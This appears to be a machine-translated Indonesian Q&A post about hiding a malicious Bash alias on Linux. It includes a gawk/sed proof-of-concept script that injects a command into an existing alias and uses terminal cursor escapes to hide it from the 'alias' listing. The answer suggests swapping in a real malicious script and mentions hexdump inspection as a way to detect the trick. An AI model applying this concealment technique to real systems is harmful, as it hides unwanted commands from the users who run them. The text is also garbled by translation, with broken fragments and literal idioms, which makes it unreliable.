Apakah mungkin untuk menyembunyikan keberadaan alias jahat di Bash pada sistem Linux dan apakah itu dieksekusi oleh pengguna tanpa sepengetahuan mereka?
Apakah mungkin untuk menyembunyikan keberadaan alias jahat di Bash pada sistem Linux dan apakah itu dieksekusi oleh pengguna tanpa sepengetahuan mereka?
Jawaban:
Dimungkinkan untuk melakukan itu dengan menambahkan alias yang ada ke berbahaya dan menggunakan gerakan kursor untuk menyembunyikannya jika alias
perintah digunakan untuk menampilkan definisi alias. Ini bukan metode yang sangat mudah, tetapi mungkin tidak terdeteksi untuk sementara waktu. Perpipaan alias
melalui hd
akan menunjukkan kepada Anda apakah ada urutan melarikan diri (gerakan kursor) di alias Anda. Berikut adalah bukti konsep tentang bagaimana perintah jahat dapat dimasukkan ke alias:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
perintah memodifikasi file bernama "alias" di tempat - naskah nyata dari jenis ini akan pergi untuk tenggorokan dan memodifikasi file script nyata sehingga alias berbahaya akan diaktifkan pada saat ini dijalankan.hide
sebagai argumen sehingga bisa dibayangkan bahwa Anda bisa mendapatkan kesalahan yang mirip dengan yang dilaporkan dalam pertanyaan ini . Dimungkinkan untuk membalikkan bagian asli dan berbahaya untuk memengaruhi ini, meskipun ini akan mengganggu argumen yang diberikan kepada alias. Upaya dilakukan dalam skrip di atas untuk menandai akhir pertengkaran --
.&&
, Anda bisa pipa satu ke yang berikutnya dan membuat script berbahaya (diwakili di atas dengan sederhana echo
perintah) fungsi sebagai stdin
untuk stdout
pass-through baik untuk memodifikasi data itu akan melintasi atau menyembunyikan nya keberadaan lebih lanjut dengan tidak mengganggu pengalihan lainnyahide
String dapat dimodifikasi untuk menyertakan gerakan kursor yang berbeda dan teks alias asli sehingga alias
perintah akan muncul untuk menunjukkan alias tidak dimodifikasi bukannya bersembunyi bersama dengan bagian berbahaya.. aliases
. Kemudian Anda dapat mencoba menggunakan alias yang terpengaruh dan melihat seperti apa rasanya saat melakukannya alias|hd
.